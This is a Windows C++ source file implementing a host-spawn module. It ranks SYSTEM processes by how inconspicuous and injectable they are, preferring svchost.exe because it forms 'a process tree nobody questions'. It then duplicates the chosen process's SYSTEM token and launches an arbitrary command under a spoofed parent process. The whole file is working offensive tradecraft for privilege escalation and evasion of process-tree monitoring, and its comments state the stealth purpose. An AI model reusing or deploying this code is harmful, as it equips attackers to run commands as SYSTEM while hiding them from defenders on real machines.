#include "Common.h"
#include "HostSpawn.h"
#include "Logger.h"

#include <algorithm>
#include <sstream>

static std::wstring Lower(const std::wstring& s)
{
    std::wstring out = s;

    for (auto& c : out)
        c = (wchar_t)towlower(c);

    return out;
}

static std::wstring BaseName(const std::wstring& path)
{
    size_t slash = path.find_last_of(L"\\/");
    return slash == std::wstring::npos ? path : path.substr(slash + 1);
}

static bool TokenIsSystem(HANDLE token)
{
    DWORD needed = 0;
    GetTokenInformation(token, TokenUser, nullptr, 0, &needed);

    if (needed == 0)
        return false;

    std::vector<BYTE> buf(needed);
    PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());

    if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
        return false;

    LPWSTR sidStr = nullptr;
    bool isSystem = false;

    if (ConvertSidToStringSidW(tu->User.Sid, &sidStr))
    {
        isSystem = wcscmp(sidStr, L"S-1-5-18") == 0;
        LocalFree(sidStr);
    }

    return isSystem;
}

static int ScoreImage(const std::wstring& imageName)
{
    const std::wstring n = Lower(imageName);

    // svchost is the ideal parent: dozens of them, SYSTEM, non-PPL for almost
    // every hosted service, and a process tree nobody questions.
    if (n == L"svchost.exe")
        return 100;

    if (n == L"wudfhost.exe")
        return 60;

    if (n == L"dllhost.exe")
        return 50;

    if (n == L"searchprotocolhost.exe")
        return 40;

    if (n == L"taskhostw.exe")
        return 30;

    // Protected / high-risk images we still accept only if they are actually
    // injectable, which they usually are not.
    if (n == L"winlogon.exe" || n == L"services.exe" || n == L"lsass.exe" ||
        n == L"csrss.exe" || n == L"wininit.exe" || n == L"smss.exe")
    {
        return 0;
    }

    return 10;
}

std::vector<HostInfo> EnumerateHosts(bool requireSystem)
{
    std::vector<HostInfo> hosts;

    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (snap == INVALID_HANDLE_VALUE)
        return hosts;

    PROCESSENTRY32W pe{};
    pe.dwSize = sizeof(pe);

    if (Process32First(snap, &pe))
    {
        do
        {
            if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4)
                continue;

            HostInfo info;
            info.pid = pe.th32ProcessID;
            info.imageName = pe.szExeFile;

            HANDLE query = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, info.pid);

            if (!query)
                continue;

            wchar_t path[4096]{};
            DWORD len = _countof(path);

            if (QueryFullProcessImageNameW(query, 0, path, &len))
                info.imagePath.assign(path, len);

            HANDLE token = nullptr;

            if (OpenProcessToken(query, TOKEN_QUERY, &token))
            {
                info.systemToken = TokenIsSystem(token);
                CloseHandle(token);
            }

            CloseHandle(query);

            if (requireSystem && !info.systemToken)
                continue;

            DWORD session = 0;

            if (ProcessIdToSessionId(info.pid, &session))
                info.sessionId = session;

            // Injectable = we can get the rights a remote-thread injection
            // needs. PPL processes refuse these even to SYSTEM.
            HANDLE inj = OpenProcess(
                PROCESS_CREATE_THREAD |
                PROCESS_VM_OPERATION |
                PROCESS_VM_WRITE |
                PROCESS_VM_READ |
                PROCESS_QUERY_INFORMATION |
                PROCESS_CREATE_PROCESS,
                FALSE,
                info.pid);

            if (inj)
            {
                info.injectable = true;
                CloseHandle(inj);
            }

            info.score = ScoreImage(info.imageName) + (info.injectable ? 5 : 0);

            hosts.push_back(info);
        } while (Process32Next(snap, &pe));
    }

    CloseHandle(snap);

    std::sort(hosts.begin(), hosts.end(), [](const HostInfo& a, const HostInfo& b)
    {
        if (a.score != b.score)
            return a.score > b.score;

        return a.pid < b.pid;
    });

    return hosts;
}

std::vector<HostInfo> EnumerateSystemHosts()
{
    return EnumerateHosts(true);
}

SpawnResult SpawnThroughHost(
    const std::wstring& commandLine,
    const std::wstring& preferredImage,
    bool userSession,
    bool requireSystem)
{
    SpawnResult result;

    if (commandLine.empty())
    {
        result.error = L"empty command line";
        return result;
    }

    std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);

    if (hosts.empty())
    {
        result.error = L"no SYSTEM host process found (need admin or SYSTEM)";
        return result;
    }

    auto isUsable = [&](const HostInfo& h) -> bool
    {
        if (requireSystem && !h.systemToken)
            return false;

        if (!h.injectable)
            return false;

        if (!preferredImage.empty() &&
            _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
        {
            return false;
        }

        return true;
    };

    // Best injectable SYSTEM host, honouring the preferred image if given.
    HostInfo* chosen = nullptr;

    for (auto& h : hosts)
    {
        if (isUsable(h))
        {
            chosen = &h;
            break;
        }
    }

    if (!chosen && !preferredImage.empty())
    {
        // Preferred image exists but is not injectable: report that clearly
        // instead of silently using something else.
        for (const auto& h : hosts)
        {
            if (_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) == 0)
            {
                result.error = L"preferred host is not injectable (PPL or access denied): " +
                    h.imageName;
                return result;
            }
        }

        result.error = L"preferred host not running: " + preferredImage;
        return result;
    }

    if (!chosen)
    {
        result.error = L"no injectable SYSTEM host process found";
        return result;
    }

    result.hostImage = chosen->imagePath;

    HANDLE host = OpenProcess(
        PROCESS_CREATE_PROCESS | PROCESS_QUERY_LIMITED_INFORMATION,
        FALSE,
        chosen->pid);

    if (!host)
    {
        result.error = L"OpenProcess(PROCESS_CREATE_PROCESS) failed: " +
            std::to_wstring(GetLastError());
        return result;
    }

    HANDLE hostToken = nullptr;
    HANDLE primary = nullptr;

    if (OpenProcessToken(host, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hostToken))
    {
        if (DuplicateTokenEx(
            hostToken,
            MAXIMUM_ALLOWED,
            nullptr,
            SecurityImpersonation,
            TokenPrimary,
            &primary))
        {
            if (userSession)
            {
                DWORD session = WTSGetActiveConsoleSessionId();
                SetTokenInformation(primary, TokenSessionId, &session, sizeof(session));
                result.sessionId = session;
            }
            else
            {
                DWORD session = 0;
                DWORD len = sizeof(session);

                if (GetTokenInformation(primary, TokenSessionId, &session, len, &len))
                    result.sessionId = session;
            }
        }
    }

    if (hostToken)
        CloseHandle(hostToken);

    if (!primary)
    {
        CloseHandle(host);
        result.error = L"cannot duplicate host token: " + std::to_wstring(GetLastError());
        return result;
    }

    STARTUPINFOEXW si{};
    si.StartupInfo.cb = sizeof(si);

    SIZE_T attrSize = 0;
    InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize);

    std::vector<BYTE> attrBuf(attrSize);
    si.lpAttributeList = reinterpret_cast<LPPROC_THREAD_ATTRIBUTE_LIST>(attrBuf.data());

    bool started = false;

    if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize))
    {
        if (UpdateProcThreadAttribute(
            si.lpAttributeList,
            0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
            &host,
            sizeof(host),
            nullptr,
            nullptr))
        {
            if (userSession)
                si.StartupInfo.lpDesktop = const_cast<LPWSTR>(L"winsta0\\default");

            LPVOID env = nullptr;
            CreateEnvironmentBlock(&env, primary, FALSE);

            std::wstring mutableCmd = commandLine;
            PROCESS_INFORMATION pi{};

            started = CreateProcessAsUserW(
                primary,
                nullptr,
                mutableCmd.data(),
                nullptr,
                nullptr,
                FALSE,
                EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT,
                env,
                nullptr,
                &si.StartupInfo,
                &pi) != FALSE;

            if (started)
            {
                result.ok = true;
                result.pid = pi.dwProcessId;
                result.parentPid = chosen->pid;
                result.method = L"host-token+ppid";

                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
            }
            else
            {
                result.error = L"CreateProcessAsUser failed: " +
                    std::to_wstring(GetLastError());
            }

            if (env)
                DestroyEnvironmentBlock(env);
        }
        else
        {
            result.error = L"UpdateProcThreadAttribute failed: " +
                std::to_wstring(GetLastError());
        }

        DeleteProcThreadAttributeList(si.lpAttributeList);
    }
    else
    {
        result.error = L"InitializeProcThreadAttributeList failed: " +
            std::to_wstring(GetLastError());
    }

    CloseHandle(primary);
    CloseHandle(host);

    Log(L"[host] spawn %s -> pid=%lu parent=%lu host=%s ok=%d %s",
        commandLine.c_str(),
        result.pid,
        result.parentPid,
        result.hostImage.c_str(),
        result.ok ? 1 : 0,
        result.error.c_str());

    return result;
}

std::wstring FormatHostList(const std::vector<HostInfo>& hosts)
{
    std::wostringstream os;

    os << L"hosts=" << hosts.size();

    size_t shown = 0;

    for (const auto& h : hosts)
    {
        if (shown >= 15)
        {
            os << L"\r\n  ...";
            break;
        }

        ++shown;

        os << L"\r\n  " << h.pid
           << L" session=" << h.sessionId
           << L" score=" << h.score
           << L" system=" << (h.systemToken ? 1 : 0)
           << L" injectable=" << (h.injectable ? 1 : 0)
           << L" " << h.imageName;
    }

    return os.str();
}

std::wstring FormatSpawnResult(const SpawnResult& r)
{
    if (!r.ok)
        return L"ERR " + (r.error.empty() ? std::wstring(L"spawn failed") : r.error);

    std::wostringstream os;

    os << L"OK pid=" << r.pid
       << L" parent=" << r.parentPid
       << L" session=" << r.sessionId;

    if (!r.hostImage.empty())
        os << L" host=" << r.hostImage;

    if (!r.method.empty())
        os << L" method=" << r.method;

    return os.str();
}